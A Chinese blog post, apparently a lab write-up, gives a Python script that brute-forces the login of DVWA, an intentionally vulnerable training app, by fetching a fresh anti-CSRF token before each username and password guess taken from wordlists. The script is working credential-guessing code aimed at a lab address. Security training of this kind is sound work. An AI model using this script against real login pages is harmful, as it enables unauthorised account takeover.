新版DVWA登录窗口暴力破解

  • 新版的DVWA刚开始一登录的窗口不像以前只要使用Burpsuite抓个包爆破下就可以,现在是在登录的请求头中加了随机的token
  • 所以使用Burpsuite和OWASP ZAP 没有用
  • 尝试使用脚本进行匹配爆破猜解出账户和密码
  • Python脚本如下,使用的是Python3
#!/usr/local/bin/python3
# -*- coding=utf-8 -*-
# Author: Xiaoyunqi


import urllib
import requests
from bs4 import BeautifulSoup


##第一步,先访问 http://10.7.9.23/dvwa/login.php页面,获得服务器返回的cookie和token
def get_cookie_token():
    headers = {'Host': '10.7.9.23',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
               'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
               'Connection': 'keep-alive',
               'Upgrade-Insecure-Requests': '1'}
    res = requests.get("http://10.7.9.23/dvwa/login.php", headers=headers)
    cookies = res.cookies
    a = [(';'.join(['='.join(item) for item in cookies.items()]))]  ## a为列表,存储cookie和token
    html = res.text
    soup = BeautifulSoup(html, "html.parser")
    token = soup.form.contents[3]['value']
    a.append(token)
    return a

##第二步模拟登陆
def Login(a, username, password):  # a是包含了cookie和token的列表
    headers = {'Host': '10.7.9.23',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
               'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
               'Connection': 'keep-alive',
               'Content-Length': '88',
               'Content-Type': 'application/x-www-form-urlencoded',
               'Upgrade-Insecure-Requests': '1',
               'Cookie': a[0],
               'Referer': 'http://10.7.9.23/dvwa/login.php'}
    values = {'username': username,
              'password': password,
              'Login': 'Login',
              'user_token': a[1]
              }
    data = urllib.parse.urlencode(values)
    resp = requests.post("http://10.7.9.23/dvwa/login.php", data=data, headers=headers)
    return


# 重定向到index.php
def main():
    with open("user.txt", 'r') as f:
        users = f.readlines()
        for user in users:
            user = user.strip("\n")  # 用户名
            with open("passwd.txt", 'r') as file:
                passwds = file.readlines()
                for passwd in passwds:
                    passwd = passwd.strip("\n")  # 密码
                    a = get_cookie_token()  #a列表中存储了服务器返回的cookie和token
                    Login(a, user, passwd)
                    headers = {'Host': '10.7.9.23',
                               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
                               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                               'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                               'Connection': 'keep-alive',
                               'Upgrade-Insecure-Requests': '1',
                               'Cookie': a[0],
                               'Referer': 'http://10.7.9.23/dvwa/login.php'}
                    response = requests.get("http://10.7.9.23/dvwa/index.php", headers=headers)
                    if response.headers['Content-Length'] == '7524':  # 如果登录成功
                        print("用户名为:%s ,密码为:%s" % (user, passwd))  # 打印出用户名和密码
                        break

if __name__ == '__main__':
    main()
  • 执行结果


    2019-11-17_200425.png
  • 免责申明:本人所撰写的文章,仅供学习和研究使用,请勿使用文中的技术或源码用于非法用途,任何人造成的任何负面影响,或触犯法律,与本人无关

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • title: DVWA之暴力破解date: 2019-03-19 19:00:50tags:- DVWA- bur...
    Miracle778阅读 2,914评论 0 5
  • 本文是Medusa和Hydra快速入门手册的第二部分,第一部分的传送门这两篇也是后续爆破篇的一部分,至于字典,放在...
    LinuxSelf阅读 2,910评论 0 4
  • 作者:Gilberto Najera-Gutierrez译者:飞龙协议:CC BY-NC-SA 4.0 简介 我们...
    三月行者阅读 1,905评论 1 17
  • DVWA实践 Web漏洞原理 1. DVWA环境搭建 Warmpserver+DVWA 2. Brute Forc...
    JasonChiu17阅读 3,795评论 0 19
  • 工作的原因,最近一段时间集中写了很多新闻稿,现将一些体会到的要点记录下来,后续待时机成熟时再充实完整后发表,希望可...
    李锴锴阅读 941评论 0 51